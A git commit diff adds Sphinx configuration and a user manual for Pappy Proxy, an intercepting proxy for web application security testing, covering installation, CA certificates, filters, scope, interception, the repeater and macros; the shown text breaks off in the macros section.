Release 0.0.2

Soooo much stuff. Features, bugfixes, all that.
This commit is contained in:
Rob Glew 2015-12-28 22:38:17 -06:00
parent b9692b451e
commit f4bbd15c68
40 changed files with 6916 additions and 1209 deletions

319
docs/source/conf.py Normal file
View file

@ -0,0 +1,319 @@
# -*- coding: utf-8 -*-
#
# Pappy Proxy documentation build configuration file, created by
# sphinx-quickstart on Sat Dec 12 11:17:09 2015.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All configuration values have a default; values that are commented out
# serve to show the default.
import sys
import os
import shlex
# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
sys.path.insert(0, os.path.join(os.path.abspath('..'), 'pappyproxy'))
# -- General configuration ------------------------------------------------
# If your documentation needs a minimal Sphinx version, state it here.
#needs_sphinx = '1.0'
# Add any Sphinx extension module names here, as strings. They can be
# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom
# ones.
extensions = [
'sphinx.ext.autodoc',
'sphinx.ext.intersphinx',
'sphinx.ext.ifconfig',
]
# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']
# The suffix(es) of source filenames.
# You can specify multiple suffix as a list of string:
# source_suffix = ['.rst', '.md']
source_suffix = '.rst'
# The encoding of source files.
#source_encoding = 'utf-8-sig'
# The master toctree document.
master_doc = 'index'
# General information about the project.
project = u'Pappy Proxy'
copyright = u'2015, Rob Glew'
author = u'Rob Glew'
# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The short X.Y version.
version = u'0.0.1'
# The full version, including alpha/beta/rc tags.
release = u'0.0.1'
# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#
# This is also used if you do content translation via gettext catalogs.
# Usually you set "language" from the command line for these cases.
language = None
# There are two options for replacing |today|: either, you set today to some
# non-false value, then it is used:
#today = ''
# Else, today_fmt is used as the format for a strftime call.
#today_fmt = '%B %d, %Y'
# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
exclude_patterns = ['pappyproxy.test**',
'pappyproxy.lists.rst',
'pappyproxy.templates.rst',
'pappyproxy.schema.rst',
'pappyproxy.vim_repeater.rst',
'pappyproxy.certs**',
'pappyproxy.comm**',
# '**config**',
# '**console**',
# '**macros**',
# '**mangle**',
# '**repeater**',
# '**session**',
# '**util**',
]
# The reST default role (used for this markup: `text`) to use for all
# documents.
#default_role = None
# If true, '()' will be appended to :func: etc. cross-reference text.
#add_function_parentheses = True
# If true, the current module name will be prepended to all description
# unit titles (such as .. function::).
#add_module_names = True
# If true, sectionauthor and moduleauthor directives will be shown in the
# output. They are ignored by default.
#show_authors = False
# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'sphinx'
# A list of ignored prefixes for module index sorting.
#modindex_common_prefix = []
# If true, keep warnings as "system message" paragraphs in the built documents.
#keep_warnings = False
# If true, `todo` and `todoList` produce output, else they produce nothing.
todo_include_todos = False
# -- Options for HTML output ----------------------------------------------
# The theme to use for HTML and HTML Help pages. See the documentation for
# a list of builtin themes.
html_theme = 'classic'
# Theme options are theme-specific and customize the look and feel of a theme
# further. For a list of options available for each theme, see the
# documentation.
#html_theme_options = {}
# Add any paths that contain custom themes here, relative to this directory.
#html_theme_path = []
# The name for this set of Sphinx documents. If None, it defaults to
# "<project> v<release> documentation".
#html_title = None
# A shorter title for the navigation bar. Default is the same as html_title.
#html_short_title = None
# The name of an image file (relative to this directory) to place at the top
# of the sidebar.
#html_logo = None
# The name of an image file (within the static path) to use as favicon of the
# docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32
# pixels large.
#html_favicon = None
# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['_static']
# Add any extra paths that contain custom files (such as robots.txt or
# .htaccess) here, relative to this directory. These files are copied
# directly to the root of the documentation.
#html_extra_path = []
# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
# using the given strftime format.
#html_last_updated_fmt = '%b %d, %Y'
# If true, SmartyPants will be used to convert quotes and dashes to
# typographically correct entities.
#html_use_smartypants = True
# Custom sidebar templates, maps document names to template names.
#html_sidebars = {}
# Additional templates that should be rendered to pages, maps page names to
# template names.
#html_additional_pages = {}
# If false, no module index is generated.
#html_domain_indices = True
# If false, no index is generated.
#html_use_index = True
# If true, the index is split into individual pages for each letter.
#html_split_index = False
# If true, links to the reST sources are added to the pages.
#html_show_sourcelink = True
# If true, "Created using Sphinx" is shown in the HTML footer. Default is True.
#html_show_sphinx = True
# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True.
#html_show_copyright = True
# If true, an OpenSearch description file will be output, and all pages will
# contain a <link> tag referring to it. The value of this option must be the
# base URL from which the finished HTML is served.
#html_use_opensearch = ''
# This is the file name suffix for HTML files (e.g. ".xhtml").
#html_file_suffix = None
# Language to be used for generating the HTML full-text search index.
# Sphinx supports the following languages:
# 'da', 'de', 'en', 'es', 'fi', 'fr', 'hu', 'it', 'ja'
# 'nl', 'no', 'pt', 'ro', 'ru', 'sv', 'tr'
#html_search_language = 'en'
# A dictionary with options for the search language support, empty by default.
# Now only 'ja' uses this config value
#html_search_options = {'type': 'default'}
# The name of a javascript file (relative to the configuration directory) that
# implements a search results scorer. If empty, the default will be used.
#html_search_scorer = 'scorer.js'
# Output file base name for HTML help builder.
htmlhelp_basename = 'PappyProxydoc'
# -- Options for LaTeX output ---------------------------------------------
latex_elements = {
# The paper size ('letterpaper' or 'a4paper').
#'papersize': 'letterpaper',
# The font size ('10pt', '11pt' or '12pt').
#'pointsize': '10pt',
# Additional stuff for the LaTeX preamble.
#'preamble': '',
# Latex figure (float) alignment
#'figure_align': 'htbp',
}
# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title,
# author, documentclass [howto, manual, or own class]).
latex_documents = [
(master_doc, 'PappyProxy.tex', u'Pappy Proxy Documentation',
u'Rob Glew', 'manual'),
]
# The name of an image file (relative to this directory) to place at the top of
# the title page.
#latex_logo = None
# For "manual" documents, if this is true, then toplevel headings are parts,
# not chapters.
#latex_use_parts = False
# If true, show page references after internal links.
#latex_show_pagerefs = False
# If true, show URL addresses after external links.
#latex_show_urls = False
# Documents to append as an appendix to all manuals.
#latex_appendices = []
# If false, no module index is generated.
#latex_domain_indices = True
# -- Options for manual page output ---------------------------------------
# One entry per manual page. List of tuples
# (source start file, name, description, authors, manual section).
man_pages = [
(master_doc, 'pappyproxy', u'Pappy Proxy Documentation',
[author], 1)
]
# If true, show URL addresses after external links.
#man_show_urls = False
# -- Options for Texinfo output -------------------------------------------
# Grouping the document tree into Texinfo files. List of tuples
# (source start file, target name, title, author,
# dir menu entry, description, category)
texinfo_documents = [
(master_doc, 'PappyProxy', u'Pappy Proxy Documentation',
author, 'PappyProxy', 'One line description of project.',
'Miscellaneous'),
]
# Documents to append as an appendix to all manuals.
#texinfo_appendices = []
# If false, no module index is generated.
#texinfo_domain_indices = True
# How to display URL addresses: 'footnote', 'no', or 'inline'.
#texinfo_show_urls = 'footnote'
# If true, do not generate a @detailmenu in the "Top" node's menu.
#texinfo_no_detailmenu = False
# Example configuration for intersphinx: refer to the Python standard library.
intersphinx_mapping = {'https://docs.python.org/': None}
def maybe_skip_member(app, what, name, obj, skip, options):
skip_vals = ('__doc__', '__module__', '__weakref__')
if name in skip_vals:
return True
if obj.__doc__ is None:
return True
if 'NOINDEX' in obj.__doc__:
return True
return False
def setup(app):
app.connect('autodoc-skip-member', maybe_skip_member)

24
docs/source/index.rst Normal file
View file

@ -0,0 +1,24 @@
.. Pappy Proxy documentation master file, created by
sphinx-quickstart on Sat Dec 12 11:17:09 2015.
You can adapt this file completely to your liking, but it should at least
contain the root `toctree` directive.
Welcome to Pappy Proxy's documentation!
=======================================
Contents:
.. toctree::
:maxdepth: 2
overview
tutorial
Indices and tables
==================
* :ref:`genindex`
* :ref:`modindex`
* :ref:`search`

7
docs/source/modules.rst Normal file
View file

@ -0,0 +1,7 @@
pappyproxy
==========
.. toctree::
:maxdepth: 4
pappyproxy

927
docs/source/overview.rst Normal file
View file

@ -0,0 +1,927 @@
The Pappy Proxy
===============
Introduction
------------
The Pappy (**P**\ roxy **A**\ ttack **P**\ roxy **P**\ rox\ **Y**) Proxy
is an intercepting proxy for performing web application security
testing. Its features are often similar, or straight up rippoffs from
`Burp Suite <https://portswigger.net/burp/>`__. However, Burp Suite is
neither open source nor a command line tool, thus making a proxy like
Pappy inevitable. The project is still in its early stages, so there are
bugs and only the bare minimum features, but it should be able to do
some cool stuff soon (I'm already using it for realtm work).
Contributing
------------
**I am taking any and all feature requests.** If you've used Burp and
had any inconvenience with it, tell me about it and I'll do everything
in my power to make sure Pappy doesn't have those issues. Or even
better, if you want Burp to do something that it doesn't already, let me
know so that I can [STRIKEOUT:use it to stomp them into the dust]
improve my project.
If you're brave and want to try and contribute code, please let me know.
Right now the codebase is a giant clusterfun which I have refactored a
few times already, but I would be more than happy to find a stable part
of the codebase that you can contribute to.
How to Use It
=============
Installation
------------
Pappy supports OS X and Linux (sorry Windows). Installation requires
``pip`` or some other command that can handle a ``setup.py`` with
requirements. Once the requirements are installed, you can check that it
installed correctly by running ``pappy -l`` to start the proxy.
::
$ git clone --recursive https://github.com/roglew/pappy-proxy.git
$ cd pappy-proxy
$ pip install .
Quickstart
----------
Pappy projects take up an entire directory. While a full directory may
seem like a dumb idea compared to storing everything in a zip file, but
when it comes to generating attack strips and things, it's easier to
just keep everything in a directory so you can view/edit files with
other programs. To start a project, do something like:
::
$ mkdir test_project
$ cd test_project
$ pappy
Copying default config to directory
Proxy is listening on port 8000
itsPappyTime> exit
$ ls
data.db project_config.json
$
And that's it! The proxy will by default be running on port 8000 and
bound to localhost (to keep the hackers out). You can modify the
port/interface in ``config.json``. You can list all your intercepted
requests with ``ls``, view a full request with ``vfq <reqid>`` or view a
full response with ``vfs <reqid>``. No you can't delete them yet. I'm
working on it.
Lite Mode
---------
If you don't want to dirty up a directory, you can run Pappy in "lite"
mode. Pappy will use the default configuration settings and will create
a temporary datafile in ``/tmp`` to use. When you quit, the file will be
deleted. If you want to run Pappy in line mode, run Pappy with either
``-l`` or ``--lite``.
Example:
::
$ pappy -l
Temporary datafile is /tmp/tmpw4mGv2
Proxy is listening on port 8000
itsPappyTime> quit
Deleting temporary datafile
$
Adding The CA Cert to Your Browser
----------------------------------
In order for Pappy to view data sent using HTTPS, you need to add a
generated CA cert (``certificate.crt``) to your browser. Certificates
are generated using the ``gencerts`` command and are by default stored
in the same directory as ``pappy.py``. This allows Pappy to act as a CA
and MITM HTTPS connections. I believe that Firefox and Chrome ignore
keychain/system certs, so you will have to install the CA cert to the
browsers instead of (or in addition to) adding the cert to your
keychain.
Firefox
~~~~~~~
You can add the CA cert to Firefox by going to
``Preferences -> Advanced -> View Certificates -> Authorities -> Import``
and selecting the ``certificate.crt`` file in the ``certs`` directory.
Chrome
~~~~~~
You can add the CA cert to Chrome by going to
``Settings -> Show advanced settings -> HTTPS/SSL -> Manage Certificates -> Authorities -> Import``
and selecting the ``certificate.crt`` file in the ``certs`` directory.
Safari
~~~~~~
For Safari (on macs, obviously), you need to add the CA cert to your
system keychain. You can do this by double clicking on the CA cert and
following the prompts.
Internet Explorer
~~~~~~~~~~~~~~~~~
I didn't search too hard for instructions on this (since Pappy doesn't
support windows) and I don't own a Windows machine to try this, so if
you have trouble, I'm not the one to ask. According to Google you can
double-click the cert to install it to the system, or you can do
``Tools -> Content -> Certificates -> Trusted Root Certificates -> Import``.
Configuration
-------------
Configuration for each project is done in the ``config.json`` file. The
file is a JSON-formatted dictionary that contains settings for the
proxy. The following fields can be used to configure the proxy:
+----------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Key | Value |
+============================+=======================================================================================================================================================================================================================================================================================================================================================================================+
| ``data_file`` | The file where requests and images will be stored |
+----------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| ``debug_dir`` (optional) | Where connection debug info should be stored. If not present, debug info is not saved to a file. |
+----------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| ``cert_dir`` | Where the CA cert and the private key for the CA cert are stored |
+----------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| ``proxy_listeners`` | A list of dicts which describe which ports the proxy will listen on. Each item is a dict with "port" and "interface" values which determine which port and interface to listen on. For example, if port=8000 and the interface is 127.0.0.1, the proxy will only accept connections from localhost on port 8000. To accept connections from anywhere, set the interface to 0.0.0.0. |
+----------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
The following tokens will also be replaced with values:
+------------------+------------------------------------------------+
| Token | Replaced with |
+==================+================================================+
| ``{PAPPYDIR}`` | The directory where Pappy's files are stored |
+------------------+------------------------------------------------+
Generating Pappy's CA Cert
--------------------------
In order to intercept and modify requests to sites that use HTTPS, you
have to generate and install CA certs to your browser. You can do this
by running the ``gencerts`` command in Pappy. By default, certs are
stored in the same directory as Pappy's script files. However, you can
change where Pappy will look for the private key file in the config
file. In addition, you can give the ``gencerts`` command an argument to
have it put the generated certs in a different directory.
+----------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Command | Description |
+========================================+================================================================================================================================================================+
| ``gencerts [/path/to/put/certs/in]`` | Generate a CA cert that can be added to your browser to let Pappy decrypt HTTPS traffic. Also generates the private key for that cert in the same directory. |
+----------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------+
Browsing Recorded Requests/Responses
------------------------------------
The following commands can be used to view requests and responses
+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Command | Aliases | Description |
+====================+================================+====================================================================================================================================================================================================================================================================================================================================================================================================================================+
| ``ls [a|<num>``] | list, ls | List requests that are in the current context (see Context section). Has information like the host, target path, and status code. With no arguments, it will print the 25 most recent requests in the current context. If you pass 'a' or 'all' as an argument, it will print all the requests in the current context. If you pass a number "n" as an argument, it will print the n most recent requests in the current context. |
+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| ``sm`` | sm, site\_map | Print a tree showing the site map. It will display all requests in the current context that did not have a 404 response. |
+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| ``viq <id(s)>`` | view\_request\_info, viq | View additional information about requests. Includes the target port, if SSL was used, applied tags, and other information. |
+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| ``vfq <id(s)>`` | view\_full\_request, vfq | [V]iew [F]ull Re[Q]uest, prints the full request including headers and data. |
+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| ``vhq <id(s)>`` | view\_request\_headers, vhq | [V]iew [H]eaders of a Re[Q]uest. Prints just the headers of a request. |
+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| ``vfs <id(s)>`` | view\_full\_response, vfs | [V]iew [F]ull Re[S]ponse, prints the full response associated with a request including headers and data. |
+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| ``vhs <id(s)>`` | view\_response\_headers, vhs | [V]iew [H]eaders of a Re[S]ponse. Prints just the headers of a response associated with a request. |
+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
The table shown will have the following columns:
+-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Label | Description |
+===========+========================================================================================================================================================================================================================+
| ID | The request ID of that request. Used to identify the request for other commands. |
+-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Method | The method(/http verb) for the request |
+-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Host | The host that the request was sent to |
+-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Path | The path of the request |
+-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| S-Code | The status code of the response |
+-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Req Len | The length of the data submitted |
+-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Rsp Len | The length of the data returned in the response |
+-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Time | The time in seconds it took to complete the request |
+-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Mngl | If the request or response were mangled with the interceptor. If the request was mangled, the column will show 'q'. If the response was mangled, the column will show 's'. If both were mangled, it will show 'q/s'. |
+-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
Tags
----
You can apply tags to a request and use filters to view specific tags.
The following commands can be used to apply tags to requests:
+---------------------------+-----------+---------------------------------------------------------------------------------------------------------------+
| Command | Aliases | Description |
+===========================+===========+===============================================================================================================+
| ``tag <tag> [id(s)]`` | tag | Apply a tag to the given requests. If no IDs are given, the tag will be applied to all in-context requests. |
+---------------------------+-----------+---------------------------------------------------------------------------------------------------------------+
| ``untag <tag> [id(s)]`` | untag | Remove a tag from the given ids. If no IDs are given, the tag is removed from every in-context request. |
+---------------------------+-----------+---------------------------------------------------------------------------------------------------------------+
| ``clrtag <id(s)>`` | clrtag | Removes all tags from the given ids. |
+---------------------------+-----------+---------------------------------------------------------------------------------------------------------------+
Request IDs
-----------
Request IDs are how you identify a request. You can see it when you run
``ls``. In addition, you can prepend an ID with prefixes to get requests
or responses associated with the request (for example its unmangled
request or response) Here are the valid prefixes:
+----------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Prefix | Description |
+==========+=========================================================================================================================================================================================================================+
| ``u`` | If the request was mangled, prefixing the ID with ``u`` will result in the unmangled version of the request. The resulting request will not have an associated response because it was never submitted to the server. |
+----------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| ``s`` | If the response was mangled, prefixing the request ID ``s`` will result in the same request but its associated response will be the unmangled version. |
+----------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
I know it sounds kind of weird, but here are some example commands that
will hopefully make things clearer. Suppose request 1 had its request
mangled, and request 2 had its response mangled.
- ``vfq 1`` Prints the mangled version of request 1
- ``vfq u1`` Prints the unmangled version of request 1
- ``rp u1`` Open the repeater with the unmangled version of request 1
- ``vfs u1`` Throws an error because the unmangled version was never
submitted
- ``vfs s1`` Throws an error because the response for request 1 was
never mangled
- ``vfs 2`` Prints the mangled response of request 2
- ``vfs s2`` Prints the unmangled response of request 2
- ``vfq u2`` Throws an error because request 2's request was never
mangled
- ``vfs u2`` Throws an error because request 2's request was never
mangled
Passing Multiple Request IDs to a Command
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Some arguments can take multiple IDs for an argument. To pass multiple
IDs to a command, separate the IDs with commas (no spaces!). A few
examples:
- ``viq 1,2,u3`` View information about requests 1, 2, and the
unmangled version of 3
- ``gma foo 4,5,6`` Generate a macro with definitions for requests 4,
5, and 6
Context
-------
The context is a set of filters that define which requests are
considered "active". Only requests in the current context are displayed
with ``ls``, and eventually contexts will be how Pappy will manage
requests for group operations. By default, the context includes every
single request that passes through the proxy. You can limit down the
current context by applying filters. Filters apply rules such as "the
response code must equal 500" or "the host must contain google.com".
Once you apply one or more filters, only requests/responses which pass
every active filter will be a part of the current context.
+-------------------------+---------------------+------------------------------------------------------------------------------------------------------------------------------------------------+
| Command | Aliases | Description |
+=========================+=====================+================================================================================================================================================+
| ``f <filter string>`` | filter, fl, f | Add a filter that limits which requests are included in the current context. See the Filter String section for how to create a filter string |
+-------------------------+---------------------+------------------------------------------------------------------------------------------------------------------------------------------------+
| ``fc`` | filter\_clear, fc | Clears the filters and resets the context to contain all requests and responses. Ignores scope |
+-------------------------+---------------------+------------------------------------------------------------------------------------------------------------------------------------------------+
| ``fls`` | filter\_list, fls | Print the filters that make up the current context |
+-------------------------+---------------------+------------------------------------------------------------------------------------------------------------------------------------------------+
Filter Strings
--------------
Filter strings define a condition that a request/response pair must pass
to be part of a context. Most filter strings have the following format:
::
<field> <comparer> <value>
Where ``<field>`` is some part of the request/response, ``<comparer>``
is some comparison to ``<value>``. Also **if you prefix a comparer with
'n' it turns it into a negation.** For example, if you wanted a filter
that only matches requests to target.org, you could use the following
filter string:
::
host is target.org
field = "host"
comparer = "is"
value = "target.org"
For fields that are a list of key/value pairs (headers, get params, post
params, and cookies) you can use the following format:
::
<field> <comparer1> <value1>[ <comparer2> <value2>]
This is a little more complicated. If you don't give comparer2/value2,
the filter will pass any pair where the key or the value matches
comparer1 and value1. If you do give comparer2/value2, the key must
match comparer1/value1 and the value must match comparer2/value2 For
example:
::
Filter A:
cookie contains Session
Filter B:
cookie contains Session contains 456
Filter C:
cookie ncontains Ultra
Cookie: SuperSession=abc123
Matches A and C but not B
Cookie: UltraSession=abc123456
Matches both A and B but not C
List of fields
~~~~~~~~~~~~~~
+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
| Field Name | Aliases | Description | Format |
+==============+================================+==================================================================================+=============+
| all | all | The entire request represented as one string | String |
+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
| host | host, domain, hs, dm | The target host (ie www.target.com) | String |
+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
| path | path, pt | The path of the url (ie /path/to/secrets.php) | String |
+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
| body | body, data, bd, dt | The body (data section) of either the request or the response | String |
+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
| verb | verb, vb | The HTTP verb of the request (ie GET, POST) | String |
+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
| param | param, pm | Either the get or post parameters | Key/Value |
+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
| header | header, hd | An HTTP header (ie User-Agent, Basic-Authorization) in the request or response | Key/Value |
+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
| rawheaders | rawheaders, rh | The entire header section (as one string) of either the head or the response | String |
+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
| sentcookie | sentcookie, sck | A cookie sent in a request | Key/Value |
+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
| setcookie | setcookie, stck | A cookie set by a response | Key/Value |
+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
| statuscode | statuscode, sc, responsecode | The response code of the response | Numeric |
+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
| tag | tag | Any of the tags applied to the request | String |
+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
List of comparers
~~~~~~~~~~~~~~~~~
+--------------+------------------+-----------------------------------------------------------------+
| Field Name | Aliases | Description |
+==============+==================+=================================================================+
| is | is | Exact string match |
+--------------+------------------+-----------------------------------------------------------------+
| contains | contains, ct | A contain B is true if B is a substring of A |
+--------------+------------------+-----------------------------------------------------------------+
| containsr | containsr, ctr | A containr B is true if A matches regexp B |
+--------------+------------------+-----------------------------------------------------------------+
| exists | exists, ex | A exists B if A is not an empty string (likely buggy) |
+--------------+------------------+-----------------------------------------------------------------+
| Leq | Leq | A Leq B if A's length equals B (B must be a number) |
+--------------+------------------+-----------------------------------------------------------------+
| Lgt | Lgt | A Lgt B if A's length is greater than B (B must be a number ) |
+--------------+------------------+-----------------------------------------------------------------+
| Llt | Llt | A Llt B if A's length is less than B (B must be a number) |
+--------------+------------------+-----------------------------------------------------------------+
| eq | eq | A eq B if A = B (A and B must be a number) |
+--------------+------------------+-----------------------------------------------------------------+
| gt | gt | A gt B if A > B (A and B must be a number) |
+--------------+------------------+-----------------------------------------------------------------+
| lt | lt | A lt B if A < B (A and B must be a number) |
+--------------+------------------+-----------------------------------------------------------------+
Scope
-----
Scope is a set of rules to define whether Pappy should mess with a
request. You define the scope by setting the context to what you want
the scope to be and running ``scope_save``. The scope is saved in
data.db and is automatically restored when using the same project
directory.
Any requests which don't match all the filters in the scope will be
passed straight to the browser and will not be caught by the interceptor
or recorded in the database. This is useful to make sure you don't
accidentally do something like log in to your email through the proxy
and have your plaintext username/password stored and accidentally shown
to your coworkers.
+--------------------+---------------------------+------------------------------------------------------+
| Command | Aliases | Description |
+====================+===========================+======================================================+
| ``scope_save`` | ``scope_save`` | Set the current context to be the scope |
+--------------------+---------------------------+------------------------------------------------------+
| ``sr`` | ``scope_reset``, ``sr`` | Set the current context to the scope |
+--------------------+---------------------------+------------------------------------------------------+
| ``scope_delete`` | ``scope_delete`` | Clear the scope (everything's in scope!) |
+--------------------+---------------------------+------------------------------------------------------+
| ``scope_list`` | ``scope_list``, ``sls`` | List all the filters that are applied to the scope |
+--------------------+---------------------------+------------------------------------------------------+
Built-In Filters
~~~~~~~~~~~~~~~~
Pappy also includes some built in filters that you can apply. These are
things that you may want to filter by but may be too tedius to type out.
The ``fbi`` command also supports tab completion.
+-----------------+-----------------------------------------+
| Filter | Description |
+=================+=========================================+
| ``not_image`` | Matches anything that isn't an image. |
+-----------------+-----------------------------------------+
+--------------------+-------------------------------+--------------------------------------------------+
| Command | Aliases | Description |
+====================+===============================+==================================================+
| ``fbi <filter>`` | ``builtin_filter``, ``fbi`` | Apply a built-in filter to the current context |
+--------------------+-------------------------------+--------------------------------------------------+
Interceptor
-----------
This feature is like Burp's proxy with "Intercept Mode" turned on,
except it's not turned on unless you explicitly turn it on. When the
proxy gets a request while in intercept mode, it lets you edit it before
it forwards it to the server. In addition, it can stop responses from
the server and let you edit them before they get forwarded to the
browser. When you run the command, you can pass ``request`` and/or
``response`` as arguments to say whether you would like to intercept
requests and/or responses. Only in-scope requests/responses will be
intercepted (see Scope section).
The interceptor will use your EDITOR variable to decide which editor to
edit the request/response with. If no editor variable is set, it will
default to ``vi``.
To forward a request, edit it, save the file, then quit.
+---------------------+-------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Command | Aliases | Description |
+=====================+=========================+=================================================================================================================================================================================================================+
| ``ic <req,rsp>+`` | ``intercept``, ``ic`` | Begins interception mode. Press enter to leave interception mode and return to the command prompt. Pass in ``request`` to intercept requests, ``response`` to intercept responses, or both to intercept both. |
+---------------------+-------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
::
Intercept both requests and responses:
> ic requests responses
> ic req rsp
Intercept just requests:
> ic requests
> ic req
Intercept just responses:
> ic responses
> ic rsp
Be totally useless:
> ic
Repeater
--------
This feature is like Burp's repeater (yes, really). You choose a request
and Pappy will open vim in a split window with your request on the left
and the original response on the right. You can make changes to the
request and then run ":RepeaterSubmitBuffer" to submit the modified
request. The response will be displayed on the right. This command is
bound to ``<leader>f`` by default, but you can rebind it in your vimrc
(I think, dunno if vim will complain if it's undefined). This command
will submit whatever buffer your cursor is in, so make sure it's in the
request buffer.
To drop a request, delete everything, save and quit (``ggdG:wq``).
When you're done with repeater, run ":qa!" to avoid having to save
changes to nonexistent files.
+---------------+----------------+----------------------------------------------+
| Command | Aliases | Description |
+===============+================+==============================================+
| ``rp <id>`` | repeater, rp | Open the specified request in the repeater |
+---------------+----------------+----------------------------------------------+
+----------------------------+--------------+----------------------------------------------------------------------------------------------------+
| Vim Command | Keybinding | Action |
+============================+==============+====================================================================================================+
| ``RepeaterSubmitBuffer`` | f | Submit the current buffer, split the windows vertically, and show the result in the right window |
+----------------------------+--------------+----------------------------------------------------------------------------------------------------+
Macros
------
Macros are Pappy's version of Burp's intruder. You can use macros to
make automated requests through the proxy and save them to the data
file. A macro file is any python script file in the current directory
that is in the form ``macro_<name>.py``. An example project directory
with macros would be:
::
$ ls -l
-rw-r--r-- 1 scaryhacker wheel 150 Nov 26 11:17 config.json
-rw------- 1 scaryhacker wheel 2639872 Nov 26 17:18 data.db
-rw-r--r-- 1 scaryhacker wheel 471 Nov 26 18:42 macro_blank.py
-rw-r--r-- 1 scaryhacker wheel 264 Nov 26 18:49 macro_hackthensa.py
-rw-r--r-- 1 scaryhacker wheel 1261 Nov 26 18:37 macro_testgen.py
-rw-r--r-- 1 scaryhacker wheel 241 Nov 26 17:18 macro_test.py
In this case we have a ``blank``, ``hackthensa``, ``testgen``, and
``test`` macro. A macro script is any python script that defines a
``run_macro(args)`` function and a ``MACRO_NAME`` variable. For example,
a simple macro would be:
::
--- macro_print.py
MACRO_NAME = 'Print Macro'
def run_macro(args):
if args:
print "Hello, %s!" % args[0]
else:
print "Hello, Pappy!"
You can place this macro in your project directory then load and run it
from Pappy. When a macro is run, arguments are passed from the command
line. Arguments are separated the same way as they are on the command
line, so if you want to use spaces in your argument, you have to put
quotes around it.
::
$ pappy
